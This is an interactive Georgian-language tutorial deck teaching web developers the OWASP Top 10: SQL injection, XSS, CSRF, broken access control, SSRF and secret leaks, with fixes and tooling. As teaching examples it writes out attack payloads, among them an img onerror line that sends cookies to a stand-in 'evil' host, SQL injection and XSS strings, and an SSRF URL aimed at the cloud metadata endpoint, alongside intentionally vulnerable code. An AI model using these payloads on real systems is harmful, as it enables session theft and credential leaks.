ბიბლიოთეკა
00/07 · ~36 წთ
GUIDEDECK · აპებისთვის, რომლებსაც ვერ ტეხავენ

ვებ უსაფრთხოება
და ხელოვნება —
არასოდეს ენდო შემავალ მონაცემებს.

36-წუთიანი სამუშაო სესია იმ შეტევებზე, რომლებიც რეალურ აპლიკაციებს ანგრევს — SQL injection, XSS, CSRF, წვდომის კონტროლის დარღვევა, SSRF — რატომ მუშაობს თითოეული და რა მცირე ჩვევები კეტავს მათ. საყრდენი — OWASP Top 10.

~36 წთდამწყები → საშუალოOWASP Top 10
გადაახვიეთ
01 · შემტევის აზროვნება და ფენოვანი დაცვა 4 წთ

ყოველი შემავალი მონაცემი იარაღია,
სანამ საპირისპიროს არ დაამტკიცებთ.

ჩვეულებრივი დეველოპერი კითხულობს: "როგორ ვამუშაო ეს?" შემტევი კითხულობს: "რა მოხდება, თუ ისეთ რამეს გამოგიგზავნით, რასაც არ ელოდებით?" უსაფრთხოება სწორედ ის დისციპლინაა, რომ ეს მეორე კითხვა პირველად დაისვას — და რომ ჩათვალოთ: სისტემაში შემოსული ნებისმიერი მონაცემი შეიძლება მტრული იყოს.

შეტევის ზედაპირი — ყველა წერტილი, სადაც უნდობი მონაცემი შემოდის სისტემაში : ფორმის ველები, URL-ები, ჰედერები, ქუქები, ატვირთული ფაილები, API-ის სხეულები, თუნდაც ის მნიშვნელობები, რომლებიც ადრე შეინახეთ მომხმარებლისგან. რაც უფრო დიდია ზედაპირი, მით მეტ ადგილას შეიძლება რაღაც წახდეს. ნულოვანი წესი: არასოდეს ენდოთ შემავალ მონაცემებს — შეამოწმეთ და დააეკრანირეთ ისინი ყველა საზღვარზე.

ერთი იდეა, რომელიც ყველაფერს უდევს საფუძვლად

  • გარედან მოსული მონაცემი უნდობია — მომხმარებელი, სხვა სერვისი, მესამე მხარის სკრიპტი, ადრე ვიღაცის მიერ ჩაწერილი ჩანაწერი.
  • ნდობის საზღვარი არის ხაზი, რომელსაც თქვენი კოდი აკონტროლებს. ყველაფერი, რაც მას კვეთს, უნდა შემოწმდეს და არა — ნავარაუდევი იყოს.
  • ამ დეკის უმეტესი ნაწილი ერთი და იმავე ნაბიჯის გამეორებაა: არ დაუშვათ, რომ შემტევის კონტროლირებადი მონაცემი კოდად ან ბრძანებად იქცეს.

სანდო მხარეს ვერაფერი აღწევს ისე, რომ საზღვარზე ვალიდაცია არ გაიაროს.

ორი იდეა, რომელიც მთელ დეკს გასდევს

ფენოვანი დაცვა

შრეები და არა ერთი კედელი

ჩათვალეთ, რომ ნებისმიერი ერთი კონტროლი ოდესმე გატყდება — ამიტომ დაალაგეთ რამდენიმე ერთმანეთზე. პარამეტრიზებული შეკითხვა და შემავალი მონაცემების ვალიდაცია და მინიმალური უფლებები ბაზის მომხმარებელზე. თუ პირველი ხაზი გატყდა, შემდეგი მაინც უძლებს.

  • როგორც  ბანკი — ჩაკეტილი კარი, პლუს კამერები, პლუს სეიფი, პლუს დაცვა. ერთი ხარვეზი მას ვერ დაცლის.
მინიმალური უფლება

მიეცით მინიმუმი და მეტი არაფერი

ყველა მომხმარებელს, სერვისსა და ტოკენს მხოლოდ ის უფლებები უნდა ჰქონდეს, რომლებიც რეალურად სჭირდება. ანგარიშგების სამუშაოს მხოლოდ წაკითხვის წვდომა აქვს და არა DROP TABLE. როცა რაღაც კომპრომეტირდება, აფეთქების რადიუსი მცირეა.

  • როგორც  სასტუმროს ბარათი — ხსნის თქვენს ნომერსა და დარბაზს, სხვა სტუმრების კარებს — არა.
OWASP Top 10 — პერიოდულად განახლებადი სია ვებ-აპლიკაციების ათი ყველაზე კრიტიკული უსაფრთხოების რისკისა, რომელსაც Open Worldwide Application Security Project აქვეყნებს. ეს ინდუსტრიის საერთო ჩეკლისტია. შემდეგი სექციები მის მთავარ კატეგორიებს გაივლის: ინექცია, წვდომის კონტროლის დარღვევა, კრიპტოგრაფიული ხარვეზები, SSRF და სხვა.
02 · ინექცია — SQL injection 6 წთ

როცა მონაცემი იკითხება როგორც
კოდი — ბაზას კარგავთ.

ინექცია მაშინ ხდება, როცა უნდობ ტექსტს აწებებთ ბრძანებაში, რომელსაც შემდეგ ინტერპრეტატორი უშვებს — SQL, shell, LDAP-ის ფილტრი. შემტევი წყვეტს მომხმარებლობას და ხდება თქვენი შეკითხვების ავტორი. გამოსწორება ერთი ჩვევაა და თითქმის უფასოა.

SQL injection — მონაცემთა ბაზის მოტყუება, რომ მან შემტევის მოწოდებული SQL გაუშვას — კოდი შეიპარება იმ მნიშვნელობაში, რომელსაც თქვენი შეკითხვის სტრიქონი აწებებს. ბაზა ვერ არჩევს თქვენს განზრახულ შეკითხვას ჩანერგილი ნაწილისგან და ორივეს უშვებს. შედეგი: წაიკითხავენ ნებისმიერ ცხრილს, გვერდს აუვლიან ავტორიზაციას, ხანდახან ყველაფერს წაშლიან.
კონკატენაცია — ღია კარი
const q =
  "SELECT * FROM users WHERE name = '" + input + "'"
db.run(q)   // the user controls part of the SQL

// input:  ' OR '1'='1  --
// query becomes ... WHERE name = '' OR '1'='1' --'
// → matches EVERY row, login bypassed
პარამეტრიზებული — კარი დაკეტილია
const q =
  "SELECT * FROM users WHERE name = ?"  // ? is a placeholder
db.run(q, [input])   // data travels on its own channel

// input:  ' OR '1'='1  --
// the driver treats it as a literal name string
// → matches nothing. injection impossible.
პარამეტრიზებული შეკითხვა (იგივე prepared statement) — ჯერ აგზავნით SQL-ს ? ადგილმჭერებით, შემდეგ კი ცალკე მნიშვნელობებს. ბაზა შეკითხვის სტრუქტურას ერთხელ აკომპილირებს და მერე მნიშვნელობებს სუფთა მონაცემად ჩასვამს. ისინი ვერასოდეს გახდებიან ახალი SQL. ეს ერთი ტექნიკა მთელ კატეგორიას კლავს.
// most ORMs / query builders do this for you
users.where({ name: input })
// → prepared statement under the hood

// raw escape hatches still need placeholders:
db.query("... WHERE id = $1", [id])
// NEVER build SQL with string templates

კოდი და მონაცემი ცალკე არხებით მოძრაობს — მნიშვნელობა SQL-ის გრამატიკაში აღარ ბრუნდება.

ერთი და იგივე ფორმა ყველგან

03 · XSS — უცხო სკრიპტი გვერდზე 6 წთ

მათი სკრიპტი,
რომელიც თქვენს გვერდზე გაიშვება.

თუ ინექცია არის "შემტევი წერს თქვენს SQL-ს", XSS არის "შემტევი წერს თქვენს JavaScript-ს". შეაპარეთ <script> გვერდზე, რომელსაც სხვა მომხმარებელი ტვირთავს, და ის ამ მომხმარებლის სესიით გაიშვება — მოიპარავს ქუქებს, ჩაიწერს კლავიშებს, გააკეთებს მოთხოვნებს მისი სახელით. დაცვა: მომხმარებლის კონტენტს მოეპყარით როგორც ტექსტს და შეზღუდეთ, რომელ სკრიპტებს აქვს გაშვების უფლება.

XSS (cross-site scripting) — ბრაუზერის იძულება, რომ თქვენი საიტის კონტექსტში შემტევის მოწოდებული კოდი გაუშვას. ეს მაშინ ხდება, როცა მომხმარებლის შემავალი მონაცემი გვერდზე HTML-ად ხვდება და არა უბრალო ტექსტად. ბრაუზერი ვერ არჩევს თქვენს მარკაპს მათგან და უშვებს ყველაფერს, რასაც მიაწვდიან.

შენახული — ტვირთი თქვენს ბაზაში ცხოვრობს

შემტევი მავნე სკრიპტს ინახავს იმ ველში, რომელსაც თქვენ ინახავთ — კომენტარი, პროფილის ბიო, პროდუქტის მიმოხილვა. შემდეგ ის ირთვება ყველასთვის, ვინც ამ კონტენტს ნახავს. ყველაზე მავნე სახეობა, რადგან თავისით ვრცელდება.

// შემტევი ამას აქვეყნებს როგორც "კომენტარს": <img src=x onerror="fetch('//evil/?c='+document.cookie)"> // ყველა ვიზიტორი, ვინც თრედს ჩატვირთავს, უშვებს მას

არეკლილი — პირდაპირ მოთხოვნიდან ბრუნდება

URL-იდან ან ფორმიდან მოსული მონაცემი პასუხში ეკრანირების გარეშე ბრუნდება — საძიებო გვერდი, რომელიც წერს You searched for: …. შემტევი აგზავნის მომზადებულ ბმულს; მასზე დაჭერა მათ სკრიპტს მსხვერპლის სესიაში უშვებს.

// /search?q=<script>steal()</script>
res.send("Results for " + req.query.q)
// the query is reflected into HTML and runs

DOM-ზე დაფუძნებული — სერვერს საერთოდ არ ეხება

კლიენტის მხარის JavaScript კითხულობს შემტევის კონტროლირებად რაღაცას (URL-ის ჰეში, localStorage) და გვერდზე წერს innerHTML-ით. მთელი ექსპლოიტი ბრაუზერში ცხოვრობს, ამიტომ სერვერის ლოგებში არაფერი ჩანს.

el.innerHTML = location.hash.slice(1) // page#<img src=x onerror=alert(1)> → სრულდება // გამოსწორება: el.textContent = ... (არასოდეს innerHTML)
HTML იგება მონაცემიდან
el.innerHTML = "Hi " + userName
// userName = <script>…</script>
// the browser parses it as markup and runs it
როგორც ტექსტი + ეკრანირება
el.textContent = "Hi " + userName
// rendered as literal characters, never markup
// in templates: auto-escape < > & " on output
გამომავალი მონაცემების ეკრანირება — საშიში სიმბოლოების უვნებელ საჩვენებელ ფორმად გადაქცევა ზუსტად მანამ, სანამ მონაცემს გვერდზე ჩასვამთ, რომ < გამოჩნდეს როგორც ჩვეულებრივი ნიშანი და არა როგორც ტეგის დასაწყისი. თანამედროვე ფრეიმვორკები (React, Vue, Angular, სერვერული შაბლონები) ნაგულისხმევად ავტომატურად ეკრანირებენ — საშიშროება სათადარიგო გასასვლელშია: dangerouslySetInnerHTML, v-html, innerHTML.
# a strong Content-Security-Policy Content-Security-Policy: default-src 'self'; script-src 'self'; # no inline / 3rd-party JS object-src 'none'; base-uri 'self'

CSP უსაფრთხოების ბადეა: სკრიპტი რომც შეიპაროს, ბრაუზერი უარს ამბობს inline ან მესამე მხარის კოდის გაშვებაზე.

04 · CSRF — მოთხოვნის გაყალბება 5 წთ

თქვენივე ბრაუზერი,
გამოყენებული თქვენს წინააღმდეგ.

XSS ბოროტად იყენებს ნდობას, რომელიც მომხმარებელს თქვენი საიტისადმი აქვს. CSRF კი — ნდობას, რომელიც თქვენს საიტს მომხმარებლის ბრაუზერისადმი აქვს. შემტევი სესიას არ იპარავს — ის უკვე ავტორიზებულ სესიას მიაშურებს და მსხვერპლის ბრაუზერს აიძულებს, გააგზავნოს მოთხოვნა, რომლის გაგზავნასაც არ აპირებდა.

CSRF (cross-site request forgery) — ავტორიზებული მომხმარებლის ბრაუზერის მოტყუება, რომ თქვენს საიტს მდგომარეობის შემცვლელი მოთხოვნა გაუგზავნოს მისი განზრახვის გარეშე. რადგან ქუქები ავტომატურად ერთვის თქვენს დომენზე მისულ ყველა მოთხოვნას, მავნე გვერდზე დამალულ ფორმას ან სურათს შეუძლია მსხვერპლის სახელით იმოქმედოს — გადარიცხოს ფული, შეცვალოს იმეილი, წაშალოს ანგარიში.

მსხვერპლი "გადარიცხვას" საერთოდ არ აჭერს — evil.com მის ნაცვლად აგზავნის, ბრაუზერი კი გულუხვად ურთავს ქუქის.

რატომ ხდის ამას ქუქები შესაძლებელს

  • ბრაუზერები თქვენი საიტის ქუქებს ყველა მოთხოვნაზე აგზავნიან — მათ შორის იმაზეც, რომელიც სხვა საიტმა გამოიწვია.
  • ამიტომ სერვერი ხედავს სრულიად ვალიდურ, ავთენტიფიცირებულ მოთხოვნას და ჩაშენებული საშუალება არ აქვს გაიგოს, რომ მომხმარებელს ეს არ სურდა.
  • გამოსავალი ისაა, რომ მოითხოვოთ მტკიცებულება: მოთხოვნა თქვენივე გვერდებიდან მოვიდა და არა სხვისიდან.
SameSite ქუქი — ქუქის ატრიბუტი, რომელიც ბრაუზერს ეუბნება, არ მიაბას ქუქი სხვა საიტებიდან მოსულ მოთხოვნებს. SameSite=Lax (გონივრული ნაგულისხმევი) კეტავს მას საიტთაშორის POST-ებზე, მაგრამ ჩვეულებრივ ნავიგაციას მაინც უშვებს; SameSite=Strict უფრო მკაცრია. მარტო ეს ამარცხებს კლასიკურ CSRF შეტევას.

შრე 1 — გაამაგრეთ ქუქი

Set-Cookie: session=...; SameSite=Lax; # not sent cross-site Secure; # HTTPS only HttpOnly # JS can't read it (helps vs XSS)

შრე 2 — CSRF ტოკენი

// server embeds a secret, per-session token <input type="hidden" name="_csrf" value="9f2a..."> // on POST, reject if it's missing or wrong if (body._csrf !== session.csrf) reject(403) // evil.com can't read or guess it

ორმაგი დაზღვევა: SameSite აჩერებს მოთხოვნის გაგზავნას, ტოკენი კი იმას ნიშნავს, რომ საიტის შიგნით დაშვებული შეცდომაც კი უსაფრთხოდ იკეტება. წმინდა ტოკენური API-ები, რომლებიც ქუქების ნაცვლად Authorization ჰედერით ავთენტიფიცირდებიან, ბუნებრივად მდგრადია CSRF-ის მიმართ.

05 · წვდომა და სერვერის ბაგები 6 წთ

ბაგები, რომლებსაც არ სჭირდება
ჭკვიანური ტვირთი.

ყველაზე გავრცელებული გატეხვები ეგზოტიკური არაა — ეს არის დავიწყება, შეამოწმო ვინ ითხოვს; სერვერისთვის იმ URL-ის წამოღების უფლების მიცემა, რომელიც არ უნდა წამოიღოს; ან გასაღების დატოვება რეპოზიტორიაში. წვდომის კონტროლის დარღვევა OWASP Top 10-ის სათავეში იდგა. თითოეული ქვემოთ გახსენით.

A
წვდომის კონტროლის ხარვეზი
თავაზიანად თხოვნაც კი საკმარისია სხვისი მონაცემების მისაღებად.
+

აპლიკაცია ამოწმებს, ვინ ხართ, მაგრამ ავიწყდება შემოწმება, რას შეხება გაქვთ უფლება. კლასიკური ფორმაა IDOR — Insecure Direct Object Reference — როცა URL-ში id-ის შეცვლა სხვა მომხმარებლის ჩანაწერს გაძლევთ.

ბრმად ენდობა id-ს
app.get("/invoice/:id", (req) =>
  db.invoice(req.params.id))
// /invoice/1002 → someone else's invoice
ამოწმებს მფლობელს
app.get("/invoice/:id", (req) => {
  const inv = db.invoice(req.params.id)
  if (inv.ownerId !== req.user.id) forbid()
  return inv
})

ავტორიზაცია აღასრულეთ სერვერზე, ყოველ მოთხოვნაზე, ნაგულისხმევად უარით. არასოდეს დაეყრდნოთ დამალულ ღილაკს ან კლიენტის მხარეს როლის შემოწმებას.

S
SSRF — მოთხოვნის გაყალბება სერვერზე
სერვერს აძლევთ უფლებას, წამოიღოს შემტევის შერჩეული URL.
+

SSRF მაშინაა, როცა შემტევი თქვენს სერვერს აიძულებს, მოთხოვნა გაუგზავნოს მის მიერ შერჩეულ მისამართს. რადგან სერვერი თქვენს ქსელშია, ის წვდება შიდა სერვისებს და ღრუბლის მეტამონაცემების ენდპოინტს — ხშირად წვდომის მონაცემებსაც გასცემს.

იღებს ნებისმიერ URL-ს
// "give us an image URL and we'll fetch it"
await fetch(req.query.url)
// url = http://169.254.169.254/latest/meta-data/
// → leaks cloud credentials
თეთრი სია + შიდა ბლოკი
const u = new URL(req.query.url)
if (!ALLOWED_HOSTS.has(u.hostname)) reject()
// also block private / link-local IP ranges
await fetch(u)

შეამოწმეთ დაშვებული ჰოსტების თეთრი სიის მიხედვით, ამოხსენით და დაბლოკეთ პრივატული IP-დიაპაზონები და გამორთეთ რედირექტები. SSRF-მა OWASP Top 10-ში საკუთარი ადგილი დაიმსახურა.

K
საიდუმლოების გაჟონვა და კონფიგურაცია
გასაღები მთელი ამ ხნის განმავლობაში რეპოზიტორიაში იდო.
+

საიდუმლოები — API-გასაღებები, ბაზის პაროლები, ხელმოწერის გასაღებები — კოდში ჩაწერილი, git-ში აკომიტებული ან ლოგებში დაბეჭდილი. როგორც კი საიდუმლო git-ის ისტორიაში მოხვდა, ის სამუდამოდ კომპრომეტირებულია, იმ ხაზის წაშლის შემდეგაც კი. ეს ერწყმის OWASP-ის კატეგორიებს Cryptographic Failures და Security Misconfiguration.

კოდში ჩაწერილი
const key = "sk_live_9f2aQ...c4"
// committed → in git history forever
// scraped by bots within minutes
გარემოდან მიწოდებული
const key = process.env.STRIPE_KEY
// from a secrets manager / env, .gitignore'd
// rotate on a schedule; scan commits in CI

საიდუმლოები შეინახეთ გარემოს ცვლადებში ან საიდუმლოების მენეჯერში (Vault, AWS/GCP Secrets Manager). CI-ს დაამატეთ ავტომატური საიდუმლოების სკანირება და გაუშვით გონივრული ნაგულისხმევებით — პროდაქშენში არ იყოს debug-გვერდები და ნაგულისხმევი ადმინის პაროლები.

06 · ინსტრუმენტების პეიზაჟი 5 წთ

ყველა ხაზს ხელით
ვერ გადახედავთ.

ინსტრუმენტები აზროვნებას არ ცვლის — ისინი მას მასშტაბირებენ. ოთხი ოჯახი სხვადასხვა მომენტს ფარავს: საკუთარი კოდის სკანირება, გაშვებულ აპლიკაციაზე შეტევა, დამოკიდებულებების თვალყური და ცოცხალი ტრაფიკის ფილტრაცია. გამოიყენეთ ისინი ერთად; თითოეული იჭერს იმას, რასაც დანარჩენები უშვებენ.

SAST — სკანირებს თქვენს კოდს (white-box)

Static Application Security Testing კითხულობს თქვენს კოდს მისი გაშვების გარეშე და აღნიშნავს სარისკო შაბლონებს — ნედლი SQL-ის კონკატენაცია, innerHTML-ის მიმღები — აკრეფისას ან CI-ში. პრობლემებს ყველაზე ადრე იჭერს, როცა ისინი ყველაზე იაფია.

Semgrep
  • დადებითი: სწრაფია, საკუთარი წესები მარტივი შაბლონებით, გულუხვი უფასო ტარიფი.
  • უარყოფითი: თავად დაწერილი წესები აწყობამდე ხმაურიანი შეიძლება იყოს.
Snyk Code
  • დადებითი: ძლიერი IDE/PR ინტეგრაცია, AI-ის დახმარებით შემოთავაზებული გამოსწორებები.
  • უარყოფითი: კომერციულია; ღრმა ფუნქციონალი ფასიანია.

DAST — ესხმის გაშვებულ აპლიკაციას (black-box)

Dynamic Application Security Testing ცოცხალ დეპლოიმენტს გარედან ამოწმებს, როგორც ნამდვილი შემტევი — ფაზინგით ამოწმებს შემავალ მონაცემებს, იმეორებს მოთხოვნებს — და პოულობს გაშვების დროისა და კონფიგურაციის პრობლემებს, რომლებსაც კოდის სკანირება ვერ ხედავს.

OWASP ZAP
  • დადებითი: უფასო, ღია კოდით, სკრიპტებით მართვადი CI-პაიპლაინებისთვის.
  • უარყოფითი: უფრო რთული აწყობა; მეტი ცრუ შედეგი გასარჩევი.
Burp Suite
  • დადებითი: პენტესტერების სტანდარტი; შეუდარებელი ინსტრუმენტები ხელით მუშაობისთვის.
  • უარყოფითი: Pro ტარიფი ფასიანია; ექსპერტებისთვისაა და არა ერთი ღილაკით გასაშვებად.

დამოკიდებულებების სკანირება — თქვენი მიწოდების ჯაჭვი

თქვენი აპლიკაციის უმეტესი ნაწილი კოდია, რომელიც თქვენ არ დაგიწერიათ. ეს ინსტრუმენტები აკვირდება თქვენს package.json-ს / lock-ფაილს და ეძებს ცნობილი CVE-ების მქონე ბიბლიოთეკებს (OWASP-ის "Vulnerable and Outdated Components"), შემდეგ კი განახლების PR-ებს ხსნის.

Dependabot
  • დადებითი: უფასოა და GitHub-ში ჩაშენებული; აწყობა არ სჭირდება, PR-ებს თავად ხსნის.
  • უარყოფითი: GitHub-ზეა მიბმული; დიდ დამოკიდებულებებზე PR-ების ხმაური.
Snyk Open Source
  • დადებითი: მდიდარი ბაზა სისუსტეებზე, მიღწევადობის ანალიზი, გამოსწორების რჩევები.
  • უარყოფითი: სრული პლატფორმა კომერციულია.

WAF — ფილტრავს ცოცხალ ტრაფიკს კიდეზე

Web Application Firewall დგას თქვენი აპლიკაციის წინ და შაბლონით ბლოკავს მავნე მოთხოვნებს — ინექციის სტრიქონებს, ცნობილ ცუდ ბოტებს — პლუს სიხშირის ლიმიტი და DDoS-ის შერბილება. ეს ფარია და არა თვით ბაგის გამოსწორება.

Cloudflare
  • დადებითი: მარტივი დასანერგი, მართული წესების ნაკრები, ძლიერი DDoS-დაცვა.
  • უარყოფითი: გვერდის ავლა შესაძლებელია; ქმნის უსაფრთხოების ცრუ განცდას.
ღრუბლოვანი WAF-ები
  • დადებითი: AWS WAF / Azure / GCP მჭიდროდ ერწყმის თქვენს სტეკს.
  • უარყოფითი: წესების აწყობა თქვენზეა; მასშტაბზე თითო მოთხოვნის ღირებულება.
  • დაიწყეთ უფასოდ და გადაიწიეთ მარცხნივ. პირველივე დღეს ჩართეთ Dependabot და SAST-სკანირება (Semgrep) CI-ში — ყველაზე დიდი უკუგება წუთზე.
  • დააფენეთ შრეები, ერთი არ აირჩიოთ. SAST + DAST + დამოკიდებულებების სკანირება ბაგების სხვადასხვა კლასს იჭერს; WAF დროს ყიდულობს, მაგრამ გამოსწორებას ვერ ჩაანაცვლებს.
  • დაარეგულირეთ სიგნალზე. სკანერი, რომელსაც ცრუ შედეგების დაღლილობის გამო ყველა უგულებელყოფს, უარესია, ვიდრე მისი არარსებობა — გაარჩიეთ და დაუნდობლად ჩააჩუმეთ.
  • დაეყრდენით OWASP Top 10-ს. დარწმუნდით, რომ თქვენი ინსტრუმენტები და მიმოხილვები თითოეულ კატეგორიას ფარავს; ეს საერთო ჩეკლისტია.
07 · საფრთხის მოდელირება + შეჯამება 4 წთ

იფიქრეთ შემტევივით, განზრახ.

საფრთხის მოდელირება უბრალოდ იმ კითხვის სტრუქტურირებული ვერსიაა, რომლითაც დავიწყეთ: რა შეიძლება წახდეს აქ? ოთხი კითხვა, დასმული ფუნქციონალის გაშვებამდე — სპეციალური ინსტრუმენტები არ სჭირდება.

1

რას ვაშენებთ? ჩახაზეთ მონაცემთა ნაკადი და მონიშნეთ ნდობის საზღვრები.

2

რა შეიძლება წახდეს? გაიარეთ თითოეული შემავალი მონაცემი — გაყალბება, ჩარევა, ინფორმაციის გაჟონვა, უფლებების ამაღლება.

3

რას გავაკეთებთ? თითო რისკზე აირჩიეთ კონტროლი — ეკრანირება, პარამეტრიზაცია, ავტორიზაცია.

4

იმუშავა? გადაამოწმეთ ტესტით, სკანირებით ან მიმოხილვით.

1არასოდეს ენდოთ შემავალ მონაცემებს. შეამოწმეთ ყველა საზღვარზე; გარედან მოსული ყველა მონაცემი მტრულად ჩათვალეთ, სანამ მისი უსაფრთხოება არ დამტკიცდება.
2მონაცემი კოდის გზაზე არ გაუშვათ. SQL პარამეტრიზეთ, HTML-ის გამოტანა დააეკრანირეთ — ნუ დაუშვებთ, რომ მნიშვნელობები ბრძანებებად იქცეს.
3ავტორიზაცია გაუკეთეთ ყოველ მოთხოვნას. მფლობელობა შეამოწმეთ სერვერზე, ნაგულისხმევად უარი თქვით, მიეცით მინიმალური უფლებები.
4ფენოვანი დაცვა. SameSite ქუქები და ტოკენები, CSP და ეკრანირება — ჩათვალეთ, რომ ერთი შრე გატყდება.
5მოსაწყენი ნაწილები ავტომატიზირეთ. დამოკიდებულებებისა და საიდუმლოების სკანირება CI-ში, OWASP Top 10-ზე დაყრდნობით.
ცოდნის შემოწმება

დაგამახსოვრდათ?

ხუთი სწრაფი კითხვა ინექციაზე, XSS-ზე, CSRF-ზე, წვდომის კონტროლსა და ინსტრუმენტებზე — მყისიერი პასუხი, ავტორიზაციის გარეშე.

შეაფასეთ ეს დასტა
იყავით პირველი

ნავიგაცია ← → ღილაკებით ან სქროლით · უკან ბიბლიოთეკაში